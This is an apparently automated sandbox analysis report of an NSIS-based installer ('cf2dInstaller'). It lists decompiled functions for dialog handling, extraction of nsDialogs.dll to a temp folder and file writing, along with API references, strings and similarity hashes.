Instruction ID: 43630dbe77052cbd99e7b50fc19318fc31bc1fc88c17e7e17ecc67392abc93a9
Opcode Fuzzy Hash: ee092e71ca505709d651e0729bf6a215d1fa5f7789b41da9f2bb1e621745af8d
Instruction Fuzzy Hash: 94029C71D0464ADFEB60CFA4C8807EEBBF4FB043C4F21852AE5A5A7189D7749A81DB50

Uniqueness

Uniqueness Score: -1.00%

Function 02F914CA, Relevance: 17.7, APIs: 9, Strings: 1, Instructions: 202
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 93%

			E02F914CA(struct HWND__* _a4, int _a8, unsigned int _a12, long _a16) {
				struct tagRECT _v20;
				char _v1044;
				int _t62;
				signed int _t66;
				intOrPtr _t75;
				signed int _t76;
				void* _t88;
				void* _t95;
				intOrPtr* _t101;
				struct HWND__* _t102;
				intOrPtr _t105;
				intOrPtr _t106;
				unsigned int _t110;
				void* _t111;
				void* _t115;
				signed int _t117;
				intOrPtr* _t119;
				intOrPtr* _t120;

				_t62 = _a8;
				if(_t62 == 2) {
					_t111 = 0;
					if( *0x2f950d4 <= 0) {
						L48:
						return 0;
					}
					_t115 = 0;
					do {
						RemovePropA( *(_t115 +  *0x2f950d8), "NSIS: nsControl pointer property");
						_t111 = _t111 + 1;
						_t115 = _t115 + 0x418;
					} while (_t111 <  *0x2f950d4);
					goto L48;
				}
				_t101 = _a16;
				if(_t62 == 0x2b) {
					L28:
					_t66 =  *(_t101 + 0x10);
					_a12 = _t66 & 0x00000100;
					_a16 = _t66 & 0x00000200;
					if(E02F913C6( *(_t101 + 0x14)) == 0) {
						goto L48;
					}
					asm("movsd");
					asm("movsd");
					_v1044 = _v1044 & 0x00000000;
					asm("movsd");
					asm("movsd"); // executed
					GetWindowTextA( *(_t101 + 0x14),  &_v1044, 0x400); // executed
					DrawTextA( *(_t101 + 0x18),  &_v1044, 0xffffffff,  &_v20, 0x414);
					_t105 =  *((intOrPtr*)(_t101 + 0x24));
					_t75 = _v20.right + 2;
					_v20.right = _t75;
					if(_t75 >= _t105) {
						_v20.right = _t105;
					}
					_t76 =  *0x2f950cc;
					if(_t76 != 0) {
						_v20.right = _t105;
						_v20.left = _v20.left + _t105 - _v20.right;
					}
					if(( *(_t101 + 0xc) & 0x00000001) != 0) {
						asm("sbb eax, eax");
						_t117 =  ~_t76 & 0x00020000;
						if(_a12 != 0) {
							_t117 = _t117 | 0x00100000;
						}
						if(GetWindowLongA( *(_t101 + 0x14), 0xffffffeb) == 0) {
							SetTextColor( *(_t101 + 0x18), 0xff0000);
						}
						DrawTextA( *(_t101 + 0x18),  &_v1044, 0xffffffff,  &_v20, _t117 | 0x00000015);
					}
					if(( *(_t101 + 0x10) & 0x00000010) == 0 || ( *(_t101 + 0xc) & 0x00000001) == 0) {
						if(( *(_t101 + 0xc) & 0x00000004) == 0) {
							goto L44;
						}
						goto L42;
					} else {
						L42:
						if(_a16 == 0) {
							DrawFocusRect( *(_t101 + 0x18),  &_v20);
						}
						L44:
						return 1;
					}
				}
				if(_t62 == 0x4e) {
					_t88 = E02F913C6( *_t101);
					if(_t88 == 0) {
						goto L48;
					}
					_t16 = _t88 + 0x410; // 0x410
					_t119 = _t16;
					if( *_t119 == 0) {
						goto L48;
					}
					L02F92016();
					L02F92016();
					L02F92016();
					 *((intOrPtr*)( *0x2f950a0 + 4))( *_t119 - 1, 0,  *_t101,  *((intOrPtr*)(_t101 + 8)), _t101);
					goto L28;
				}
				if(_t62 == 0x111) {
					_t102 = GetDlgItem(_a4, _a12 & 0x0000ffff);
					_t95 = E02F913C6(_t102);
					if(_t95 == 0) {
						goto L48;
					}
					_t110 = _a12 >> 0x10;
					if(_t110 != 0) {
						L12:
						if(_t110 != 0x300 ||  *((intOrPtr*)(_t95 + 4)) != 2) {
							if(_t110 != 1 ||  *((intOrPtr*)(_t95 + 4)) != 4) {
								if(_t110 == 6 || _t110 == 1) {
									if( *((intOrPtr*)(_t95 + 4)) != 3) {
										goto L22;
									}
									goto L19;
								} else {
									L22:
									if(_t110 != 0 ||  *((intOrPtr*)(_t95 + 4)) != 7) {
										goto L48;
									} else {
										L24:
										_t15 = _t95 + 0x408; // 0x408
										_t120 = _t15;
										goto L20;
									}
								}
							} else {
								goto L19;
							}
						} else {
							L19:
							_t12 = _t95 + 0x40c; // 0x40c
							_t120 = _t12;
							L20:
							if( *_t120 != 0) {
								L02F92016();
								 *((intOrPtr*)( *0x2f950a0 + 4))( *_t120 - 1, 0, _t102);
							}
							goto L48;
						}
					}
					_t106 =  *((intOrPtr*)(_t95 + 4));
					if(_t106 == 1 || _t106 == 8) {
						goto L24;
					} else {
						goto L12;
					}
				}
				if(_t62 > 0x132 && (_t62 <= 0x136 || _t62 == 0x138)) {
					return SendMessageA( *0x2f950c4, _t62, _a12, _a16);
				}
				goto L48;
			}

0x02f914d3
0x02f914dc
0x02f91722
0x02f9172a
0x02f91750
0x00000000
0x02f91750
0x02f9172c
0x02f9172e
0x02f9173b
0x02f91741
0x02f91742
0x02f91748
0x00000000
0x02f9172e
0x02f914e2
0x02f914e8
0x02f91618
0x02f91618
0x02f9162b
0x02f9162e
0x02f91638
0x00000000
0x00000000
0x02f91644
0x02f91645
0x02f91646
0x02f91653
0x02f9165d
0x02f9165e
0x02f9167f
0x02f91684
0x02f91687
0x02f9168c
0x02f9168f
0x02f91691
0x02f91691
0x02f91694
0x02f9169b
0x02f916a2
0x02f916a5
0x02f916a5
0x02f916ac
0x02f916b0
0x02f916bb
0x02f916bd
0x02f916bf
0x02f916bf
0x02f916d2
0x02f916dc
0x02f916dc
0x02f916f6
0x02f916f6
0x02f916fc
0x02f91708
0x00000000
0x00000000
0x00000000
0x02f9170a
0x02f9170a
0x02f9170e
0x02f91717
0x02f91717
0x02f9171d
0x00000000
0x02f9171f
0x02f916fc
0x02f914f1
0x02f915d9
0x02f915e0
0x00000000
0x00000000
0x02f915e6
0x02f915e6
0x02f915ef
0x00000000
0x00000000
0x02f915f6
0x02f915fe
0x02f91605
0x02f91615
0x00000000
0x02f91615
0x02f914fc
0x02f91541
0x02f91544
0x02f9154d
0x00000000
0x00000000
0x02f91556
0x02f9155c
0x02f9156b
0x02f91570
0x02f9157c
0x02f91588
0x02f91594
0x00000000
0x00000000
0x00000000
0x02f915bc
0x02f915bc
0x02f915bf
0x00000000
0x02f915cf
0x02f915cf
0x02f915cf
0x02f915cf
0x00000000
0x02f915cf
0x02f915bf
0x00000000
0x00000000
0x00000000
0x02f91596
0x02f91596
0x02f91596
0x02f91596
0x02f9159c
0x02f9159e
0x02f915a5
0x02f915b4
0x02f915b4
0x00000000
0x02f9159e
0x02f91570
0x02f9155e
0x02f91564
0x00000000
0x00000000
0x00000000
0x00000000
0x02f91564
0x02f91503
0x00000000
0x02f91528
0x00000000

APIs

SendMessageA.USER32(?,?,?), ref: 02F91528
GetDlgItem.USER32 ref: 02F9153B
GetWindowTextA.USER32 ref: 02F9165E
DrawTextA.USER32(?,00000000,000000FF,?,00000414), ref: 02F9167F
GetWindowLongA.USER32 ref: 02F916CA
SetTextColor.GDI32 ref: 02F916DC
DrawTextA.USER32(?,00000000,000000FF,00000000,?), ref: 02F916F6
DrawFocusRect.USER32(?,00000010), ref: 02F91717
RemovePropA.USER32 ref: 02F9173B

Strings

NSIS: nsControl pointer property, xrefs: 02F91733

Memory Dump Source

Source File: 00000003.00000002.506402521.0000000002F91000.00000020.00020000.sdmp, Offset: 02F90000, based on PE: true

Associated: 00000003.00000002.506388642.0000000002F90000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.506417970.0000000002F93000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.506430439.0000000002F94000.00000008.00020000.sdmp Download File
Associated: 00000003.00000002.506443752.0000000002F97000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2f90000_cf2dInstaller.jbxd

Similarity

API ID: Text$Draw$Window$ColorFocusItemLongMessagePropRectRemoveSend
String ID: NSIS: nsControl pointer property
API String ID: 2331901045-1714965683
Opcode ID: 293718d1dd4b3cc28319416cba33919c4208dbdd4f77f012628e06f1d8fa0e8c
Instruction ID: e034fb7a2075ee1b2c8a6d3bf5a24d2237b1dcf92af7f1fb3ef465479ad1551d
Opcode Fuzzy Hash: 293718d1dd4b3cc28319416cba33919c4208dbdd4f77f012628e06f1d8fa0e8c
Instruction Fuzzy Hash: E8718F71D0020B9BEF218F24CC84BABBBA5FB01388F454975EB19962A5C772D894CF61

Uniqueness

Uniqueness Score: -1.00%

Function 00401734, Relevance: 17.6, APIs: 5, Strings: 5, Instructions: 147
stringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 60%

			E00401734(FILETIME* __ebx, void* __eflags) {
				void* _t33;
				void* _t41;
				void* _t43;
				FILETIME* _t49;
				FILETIME* _t62;
				void* _t64;
				signed int _t70;
				FILETIME* _t71;
				FILETIME* _t75;
				signed int _t77;
				void* _t80;
				CHAR* _t82;
				void* _t85;

				_t75 = __ebx;
				_t82 = E004029F6(0x31);
				 *(_t85 - 8) = _t82;
				 *(_t85 + 8) =  *(_t85 - 0x24) & 0x00000007;
				_t33 = E0040556C(_t82);
				_push(_t82);
				if(_t33 == 0) {
					lstrcatA(E004054FF(E00405A0C(0x409b80, "C:\\Users\\alfons\\AppData\\Local\\Temp")), ??);
				} else {
					_push(0x409b80);
					E00405A0C();
				}
				E00405C6E(0x409b80);
				while(1) {
					__eflags =  *(_t85 + 8) - 3;
					if( *(_t85 + 8) >= 3) {
						_t64 = E00405D07(0x409b80);
						_t77 = 0;
						__eflags = _t64 - _t75;
						if(_t64 != _t75) {
							_t71 = _t64 + 0x14;
							__eflags = _t71;
							_t77 = CompareFileTime(_t71, _t85 - 0x18);
						}
						asm("sbb eax, eax");
						_t70 =  ~(( *(_t85 + 8) + 0xfffffffd | 0x80000000) & _t77) + 1;
						__eflags = _t70;
						 *(_t85 + 8) = _t70;
					}
					__eflags =  *(_t85 + 8) - _t75;
					if( *(_t85 + 8) == _t75) {
						E004056C4(0x409b80);
					}
					__eflags =  *(_t85 + 8) - 1;
					_t41 = E004056E3(0x409b80, 0x40000000, (0 |  *(_t85 + 8) != 0x00000001) + 1);
					__eflags = _t41 - 0xffffffff;
					 *(_t85 - 0x34) = _t41;
					if(_t41 != 0xffffffff) {
						break;
					}
					__eflags =  *(_t85 + 8) - _t75;
					if( *(_t85 + 8) != _t75) {
						E00404DAA(0xffffffe2,  *(_t85 - 8));
						__eflags =  *(_t85 + 8) - 2;
						if(__eflags == 0) {
							 *((intOrPtr*)(_t85 - 4)) = 1;
						}
						L31:
						 *0x42ebe8 =  *0x42ebe8 +  *((intOrPtr*)(_t85 - 4));
						__eflags =  *0x42ebe8;
						goto L32;
					} else {
						E00405A0C(0x40a380, "6898");
						E00405A0C("6898", 0x409b80);
						E00405A2E(_t75, 0x40a380, 0x409b80, "C:\Users\alfons\AppData\Local\Temp\nshFB42.tmp\nsDialogs.dll",  *((intOrPtr*)(_t85 - 0x10)));
						E00405A0C("6898", 0x40a380);
						_t62 = E004052CD("C:\Users\alfons\AppData\Local\Temp\nshFB42.tmp\nsDialogs.dll",  *(_t85 - 0x24) >> 3) - 4;
						__eflags = _t62;
						if(_t62 == 0) {
							continue;
						} else {
							__eflags = _t62 == 1;
							if(_t62 == 1) {
								 *0x42ebe8 =  &( *0x42ebe8->dwLowDateTime);
								L32:
								_t49 = 0;
								__eflags = 0;
							} else {
								_push(0x409b80);
								_push(0xfffffffa);
								E00404DAA();
								L29:
								_t49 = 0x7fffffff;
							}
						}
					}
					L33:
					return _t49;
				}
				E00404DAA(0xffffffea,  *(_t85 - 8));
				 *0x42ec14 =  *0x42ec14 + 1;
				_push(_t75);
				_push(_t75);
				_push( *(_t85 - 0x34));
				_push( *((intOrPtr*)(_t85 - 0x1c)));
				_t43 = E00402E5B(); // executed
				 *0x42ec14 =  *0x42ec14 - 1;
				__eflags =  *(_t85 - 0x18) - 0xffffffff;
				_t80 = _t43;
				if( *(_t85 - 0x18) != 0xffffffff) {
					L22:
					SetFileTime( *(_t85 - 0x34), _t85 - 0x18, _t75, _t85 - 0x18); // executed
				} else {
					__eflags =  *((intOrPtr*)(_t85 - 0x14)) - 0xffffffff;
					if( *((intOrPtr*)(_t85 - 0x14)) != 0xffffffff) {
						goto L22;
					}
				}
				FindCloseChangeNotification( *(_t85 - 0x34)); // executed
				__eflags = _t80 - _t75;
				if(_t80 >= _t75) {
					goto L31;
				} else {
					__eflags = _t80 - 0xfffffffe;
					if(_t80 != 0xfffffffe) {
						E00405A2E(_t75, _t80, 0x409b80, 0x409b80, 0xffffffee);
					} else {
						E00405A2E(_t75, _t80, 0x409b80, 0x409b80, 0xffffffe9);
						lstrcatA(0x409b80,  *(_t85 - 8));
					}
					_push(0x200010);
					_push(0x409b80);
					E004052CD();
					goto L29;
				}
				goto L33;
			}

0x00401734
0x0040173b
0x00401744
0x00401747
0x0040174a
0x0040174f
0x00401757
0x00401773
0x00401759
0x00401759
0x0040175a
0x0040175a
0x00401779
0x00401783
0x00401783
0x00401787
0x0040178a
0x0040178f
0x00401791
0x00401793
0x00401798
0x00401798
0x004017a3
0x004017a3
0x004017b4
0x004017b6
0x004017b6
0x004017b7
0x004017b7
0x004017ba
0x004017bd
0x004017c0
0x004017c0
0x004017c7
0x004017d6
0x004017db
0x004017de
0x004017e1
0x00000000
0x00000000
0x004017e3
0x004017e6
0x00401840
0x00401845
0x004015a8
0x0040265c
0x0040265c
0x0040288b
0x0040288e
0x0040288e
0x00000000
0x004017e8
0x004017ee
0x004017f9
0x00401806
0x00401811
0x00401827
0x00401827
0x0040182a
0x00000000
0x00401830
0x00401830
0x00401831
0x0040184e
0x00402894
0x00402894
0x00402894
0x00401833
0x00401833
0x00401834
0x00401492
0x0040220e
0x0040220e
0x0040220e
0x00401831
0x0040182a
0x00402896
0x0040289a
0x0040289a
0x0040185e
0x00401863
0x00401869
0x0040186a
0x0040186b
0x0040186e
0x00401871
0x00401876
0x0040187c
0x00401880
0x00401882
0x0040188a
0x00401896
0x00401884
0x00401884
0x00401888
0x00000000
0x00000000
0x00401888
0x0040189f
0x004018a5
0x004018a7
0x00000000
0x004018ad
0x004018ad
0x004018b0
0x004018c8
0x004018b2
0x004018b5
0x004018be
0x004018be
0x004018cd
0x004018d2
0x00402209
0x00000000
0x00402209
0x00000000

APIs

lstrcatA.KERNEL32(00000000,00000000,Show,C:\Users\user\AppData\Local\Temp,00000000,00000000,00000031), ref: 00401773
CompareFileTime.KERNEL32(-00000014,?,Show,Show,00000000,00000000,Show,C:\Users\user\AppData\Local\Temp,00000000,00000000,00000031), ref: 0040179D

Part of subcall function 00405A0C: lstrcpynA.KERNEL32(?,?,00000400,00403168,0042E360,NSIS Error), ref: 00405A19

Part of subcall function 00404DAA: lstrlenA.KERNEL32(004297B8,00000000,0041B188,7519EA30,?,?,?,?,?,?,?,?,?,00402FB6,00000000,?), ref: 00404DE3
Part of subcall function 00404DAA: lstrlenA.KERNEL32(00402FB6,004297B8,00000000,0041B188,7519EA30,?,?,?,?,?,?,?,?,?,00402FB6,00000000), ref: 00404DF3
Part of subcall function 00404DAA: lstrcatA.KERNEL32(004297B8,00402FB6,00402FB6,004297B8,00000000,0041B188,7519EA30), ref: 00404E06
Part of subcall function 00404DAA: SetWindowTextA.USER32(004297B8,004297B8), ref: 00404E18
Part of subcall function 00404DAA: SendMessageA.USER32(?,00001004,00000000,00000000), ref: 00404E3E
Part of subcall function 00404DAA: SendMessageA.USER32(?,00001007,00000000,00000001), ref: 00404E58
Part of subcall function 00404DAA: SendMessageA.USER32(?,00001013,?,00000000), ref: 00404E66

Strings

C:\Users\user\AppData\Local\Temp\nshFB42.tmp\nsDialogs.dll, xrefs: 00401801, 0040181D
Show, xrefs: 00401750, 00401759, 00401766, 00401778, 00401789, 004017BF, 004017D5, 004017F3, 00401833, 004018B4, 004018BD, 004018C7, 004018D2
C:\Users\user\AppData\Local\Temp, xrefs: 00401761
6898, xrefs: 004017E8, 004017F4, 0040180C
C:\Users\user\AppData\Local\Temp\nshFB42.tmp, xrefs: 0040177E, 004017ED, 0040180B

Memory Dump Source

Source File: 00000003.00000002.503983388.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.503968315.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.504017774.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.504030164.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504054861.0000000000411000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504084706.000000000041F000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504117628.000000000042C000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504132874.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504147544.0000000000434000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504168801.000000000043C000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504187164.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504201398.0000000000444000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504236909.0000000000447000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504249272.000000000045A000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.504272578.0000000000534000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.504288296.0000000000538000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_cf2dInstaller.jbxd

Similarity

API ID: MessageSend$lstrcatlstrlen$CompareFileTextTimeWindowlstrcpyn
String ID: 6898$C:\Users\user\AppData\Local\Temp$C:\Users\user\AppData\Local\Temp\nshFB42.tmp$C:\Users\user\AppData\Local\Temp\nshFB42.tmp\nsDialogs.dll$Show
API String ID: 1941528284-3162379656
Opcode ID: 182276ebfff280579eabee0cb65024e2aa931d0bdbdb1331e97a56f91b16d277
Instruction ID: 2412d90e5cc6ef50ac46e2462e63b4f26081636668b1d4f665875a47291bc265
Opcode Fuzzy Hash: 182276ebfff280579eabee0cb65024e2aa931d0bdbdb1331e97a56f91b16d277
Instruction Fuzzy Hash: 4341D831A10515BACF10BBB5DD86DAF3A69EF41328B24433BF511F11E2D67C4A418E6D

Uniqueness

Uniqueness Score: -1.00%

Function 02F91759, Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 77
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 95%

			E02F91759(void* __eflags, struct HWND__* _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20) {
				intOrPtr _v8;
				intOrPtr _v12;
				struct tagPOINT _v20;
				struct HWND__* _t24;
				void* _t28;
				int _t33;
				void* _t34;
				intOrPtr _t35;
				struct HWND__* _t38;

				 *0x2f950dc = _a8;
				_t35 = _a20;
				 *0x2f950e0 = _a16;
				 *0x2f950e4 = _a12;
				 *((intOrPtr*)(_t35 + 0xc))( *0x2f950a4, E02F91852, _t34);
				_t38 = _a4;
				 *0x2f950a0 = _t35;
				 *0x2f950c4 = _t38;
				GetWindowRect(GetDlgItem(_t38, E02F91FC2(__eflags)),  &_v20);
				MapWindowPoints(0, _t38,  &_v20, 2);
				_t24 = CreateDialogParamA( *0x2f950a4, 1, _t38, E02F914CA, 0); // executed
				 *0x2f950c0 = _t24;
				if(_t24 != 0) {
					_t33 = _v12 - _v20.x;
					__eflags = _t33;
					SetWindowPos(_t24, 0, _v20, _v20.y, _t33, _v8 - _v20.y, 0x14);
					 *0x2f950c8 = SetWindowLongA(_t38, 4, E02F913FB);
					 *0x2f950cc = 0;
					 *0x2f950d4 = 0;
					_t28 = HeapAlloc(GetProcessHeap(), 8, 0);
					_push( *0x2f950c0);
					 *0x2f950d8 = _t28;
					 *0x2f950d0 = 0;
					L02F92016();
				} else {
					_t28 = E02F91E27("error");
				}
				return _t28;
			}

0x02f91763
0x02f9176c
0x02f91774
0x02f91782
0x02f91787
0x02f9178a
0x02f9178d
0x02f91793
0x02f917ab
0x02f917bb
0x02f917d0
0x02f917d8
0x02f917dd
0x02f917f7
0x02f917f7
0x02f91803
0x02f9181a
0x02f9181f
0x02f91825
0x02f91832
0x02f91838
0x02f9183e
0x02f91843
0x02f91849
0x02f917df
0x02f917e4
0x02f917e4
0x02f91851

APIs

GetDlgItem.USER32 ref: 02F917A0
GetWindowRect.USER32(00000000,?), ref: 02F917AB
MapWindowPoints.USER32 ref: 02F917BB
CreateDialogParamA.USER32(00000001,?,02F914CA,00000000), ref: 02F917D0
SetWindowPos.USER32(00000000,00000000,?,?,?,?,00000014), ref: 02F91803
SetWindowLongA.USER32 ref: 02F91811
GetProcessHeap.KERNEL32(00000008,00000000), ref: 02F9182B
HeapAlloc.KERNEL32(00000000), ref: 02F91832

Part of subcall function 02F91E27: GlobalAlloc.KERNEL32(00000040,?,?,02F910BE,error,?,00000104), ref: 02F91E3C
Part of subcall function 02F91E27: lstrcpynA.KERNEL32(00000004,?,?,02F910BE,error,?,00000104), ref: 02F91E52

Strings

error, xrefs: 02F917DF

Memory Dump Source

Source File: 00000003.00000002.506402521.0000000002F91000.00000020.00020000.sdmp, Offset: 02F90000, based on PE: true

Associated: 00000003.00000002.506388642.0000000002F90000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.506417970.0000000002F93000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.506430439.0000000002F94000.00000008.00020000.sdmp Download File
Associated: 00000003.00000002.506443752.0000000002F97000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2f90000_cf2dInstaller.jbxd

Similarity

API ID: Window$AllocHeap$CreateDialogGlobalItemLongParamPointsProcessRectlstrcpyn
String ID: error
API String ID: 1928716940-1574812785
Opcode ID: 183bacd22615ead6f8305d470e359321ee48673e6d02d45bb2b0d4630ab24778
Instruction ID: 7c7fe8f77f6a6d555d932c2a39bff1f010165902a3c409dd804f41399c353228
Opcode Fuzzy Hash: 183bacd22615ead6f8305d470e359321ee48673e6d02d45bb2b0d4630ab24778
Instruction Fuzzy Hash: 5121FE72D8020AAFEB01DFA5EC49EAFFBB9FB49B84B404859F61997160D7705424CB90

Uniqueness

Uniqueness Score: -1.00%

Function 70551670, Relevance: 15.1, APIs: 12, Instructions: 102
stringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 32%

			E70551670(intOrPtr _a4, intOrPtr _a8, intOrPtr _a12) {
				void* _t26;
				void* _t29;
				void* _t33;
				void* _t36;
				void* _t39;
				void* _t46;
				intOrPtr _t49;
				intOrPtr _t54;
				intOrPtr _t55;
				void* _t56;
				void* _t57;

				_t49 = _a4;
				_t56 =  *(_t49 + 4);
				_t54 = _a8;
				if(_t56 == 0) {
					L3:
					_t26 = GlobalAlloc(0, 0x10); // executed
					_t57 = _t26;
					_t29 = GlobalAlloc(0,  *0x70553008(_t54) + 1); // executed
					 *_t57 = _t29;
					 *0x70553010(_t29, _t54);
					_t33 = GlobalAlloc(0,  *0x70553008(_a12) + 1); // executed
					 *(_t57 + 4) = _t33;
					 *0x70553010(_t33, _a12);
					if(E705510B0(_t54) != 0) {
						_t39 = E705520DD(_t54);
						if(_t39 >=  *((intOrPtr*)(_t49 + 0x14))) {
							 *((intOrPtr*)(_t49 + 0x14)) = _t39 + 1;
						}
					}
					if( *(_t49 + 4) != 0) {
						_t36 =  *(_t49 + 8);
						 *(_t36 + 8) = _t57;
						 *((intOrPtr*)(_t49 + 0x10)) =  *((intOrPtr*)(_t49 + 0x10)) + 1;
						 *(_t49 + 8) = _t57;
						 *(_t57 + 0xc) = _t36;
						 *((intOrPtr*)(_t57 + 8)) = 0;
						return _t57;
					} else {
						 *(_t49 + 4) = _t57;
						 *(_t49 + 8) = _t57;
						 *((intOrPtr*)(_t49 + 0x10)) = 1;
						 *(_t57 + 0xc) = 0;
						 *((intOrPtr*)(_t57 + 8)) = 0;
						return _t57;
					}
				} else {
					while(1) {
						_push(_t54);
						_push( *_t56);
						if( *0x70553004() == 0) {
							GlobalFree( *(_t56 + 4));
							_t55 = _a12;
							_t46 = GlobalAlloc(0,  *0x70553008(_t55) + 1);
							 *(_t56 + 4) = _t46;
							 *0x70553010(_t46, _t55);
							return _t56;
						}
						_t56 =  *(_t56 + 8);
						if(_t56 != 0) {
							continue;
						} else {
							goto L3;
						}
						goto L10;
					}
				}
				L10:
			}

0x70551674
0x70551678
0x7055167c
0x70551681
0x7055169c
0x705516a0
0x705516a7
0x705516b3
0x705516bb
0x705516bd
0x705516d1
0x705516dc
0x705516df
0x705516f0
0x705516f3
0x705516fb
0x705516fe
0x705516fe
0x705516fb
0x70551706
0x70551752
0x70551755
0x70551758
0x7055175b
0x7055175e
0x70551762
0x7055176a
0x70551708
0x70551708
0x7055170b
0x7055170e
0x70551716
0x70551719
0x70551721
0x70551721
0x00000000
0x70551683
0x70551685
0x70551686
0x7055168f
0x70551726
0x7055172c
0x7055173a
0x70551742
0x70551745
0x70551751
0x70551751
0x70551695
0x7055169a
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x7055169a
0x70551683
0x00000000

APIs

lstrcmp.KERNEL32(00000000,00000000), ref: 70551687
GlobalAlloc.KERNEL32(00000000,00000010,00000000,00000000,00000001,?,70551A67,00000000,00000000,00000000,00000000,00000000), ref: 705516A0
lstrlen.KERNEL32(00000000,?,70551A67,00000000,00000000,00000000,00000000,00000000), ref: 705516A9
GlobalAlloc.KERNEL32(00000000,00000001,?,70551A67,00000000,00000000,00000000,00000000,00000000), ref: 705516B3
lstrcpy.KERNEL32(00000000,00000000), ref: 705516BD
lstrlen.KERNEL32(00000000,?,70551A67,00000000,00000000,00000000,00000000,00000000), ref: 705516C7
GlobalAlloc.KERNEL32(00000000,00000001,?,70551A67,00000000,00000000,00000000,00000000,00000000), ref: 705516D1
lstrcpy.KERNEL32(00000000,00000000), ref: 705516DF
GlobalFree.KERNEL32(?), ref: 70551726
lstrlen.KERNEL32(00000000,?,70551A67,00000000,00000000,00000000,00000000,00000000), ref: 70551730
GlobalAlloc.KERNEL32(00000000,00000001,?,70551A67,00000000,00000000,00000000,00000000,00000000), ref: 7055173A
lstrcpy.KERNEL32(00000000,00000000), ref: 70551745

Memory Dump Source

Source File: 00000003.00000002.506936748.0000000070551000.00000040.00020000.sdmp, Offset: 70550000, based on PE: true

Associated: 00000003.00000002.506928166.0000000070550000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.506949667.0000000070557000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.506963095.0000000070558000.00000080.00020000.sdmp Download File
Associated: 00000003.00000002.506990793.0000000070559000.00000004.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_70550000_cf2dInstaller.jbxd

Similarity

API ID: Global$Alloc$lstrcpylstrlen$Freelstrcmp
String ID:
API String ID: 2427382314-0
Opcode ID: 148a2f53078790e08fb701f09ceb3311177597f8e808d9c88e3b888d7870e901
Instruction ID: c893dc5cf9e1b6f8598ac2d6b7fbb6796af6aac6edf35245b515fe888bb37cbb
Opcode Fuzzy Hash: 148a2f53078790e08fb701f09ceb3311177597f8e808d9c88e3b888d7870e901
Instruction Fuzzy Hash: B7310DB26003109FD7149F69DD88B2BBFB9FB58B11B14845EF95EC7260D670E8508B61

Uniqueness

Uniqueness Score: -1.00%

Function 00402E5B, Relevance: 14.2, APIs: 6, Strings: 2, Instructions: 174
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 95%

			E00402E5B(int _a4, void* _a8, long _a12, int _a16, signed char _a19) {
				signed int _v8;
				long _v12;
				void* _v16;
				long _v20;
				long _v24;
				intOrPtr _v28;
				char _v92;
				void* _t67;
				void* _t68;
				long _t74;
				intOrPtr _t79;
				long _t80;
				void* _t82;
				int _t84;
				intOrPtr _t95;
				void* _t97;
				void* _t100;
				long _t101;
				signed int _t102;
				long _t103;
				int _t104;
				intOrPtr _t105;
				long _t106;
				void* _t107;

				_t102 = _a16;
				_t97 = _a12;
				_v12 = _t102;
				if(_t97 == 0) {
					_v12 = 0x8000;
				}
				_v8 = _v8 & 0x00000000;
				_v16 = _t97;
				if(_t97 == 0) {
					_v16 = 0x418b88;
				}
				_t65 = _a4;
				if(_a4 >= 0) {
					_t95 =  *0x42ebb8; // 0x19e75
					E004030AF(_t95 + _t65);
				}
				_t67 = E0040307D( &_a16, 4); // executed
				if(_t67 == 0) {
					L34:
					_push(0xfffffffd);
					goto L35;
				} else {
					if((_a19 & 0x00000080) == 0) {
						if(_t97 == 0) {
							while(_a16 > 0) {
								_t103 = _v12;
								if(_a16 < _t103) {
									_t103 = _a16;
								}
								if(E0040307D(0x414b88, _t103) == 0) {
									goto L34;
								} else {
									if(WriteFile(_a8, 0x414b88, _t103,  &_a12, 0) == 0 || _t103 != _a12) {
										L29:
										_push(0xfffffffe);
										L35:
										_pop(_t68);
										return _t68;
									} else {
										_v8 = _v8 + _t103;
										_a16 = _a16 - _t103;
										continue;
									}
								}
							}
							L45:
							return _v8;
						}
						if(_a16 < _t102) {
							_t102 = _a16;
						}
						if(E0040307D(_t97, _t102) != 0) {
							_v8 = _t102;
							goto L45;
						} else {
							goto L34;
						}
					}
					_t74 = GetTickCount();
					 *0x40b4ec =  *0x40b4ec & 0x00000000;
					 *0x40b4e8 =  *0x40b4e8 & 0x00000000;
					_t14 =  &_a16;
					 *_t14 = _a16 & 0x7fffffff;
					_v20 = _t74;
					 *0x40afd0 = 8;
					 *0x414b78 = 0x40cb70;
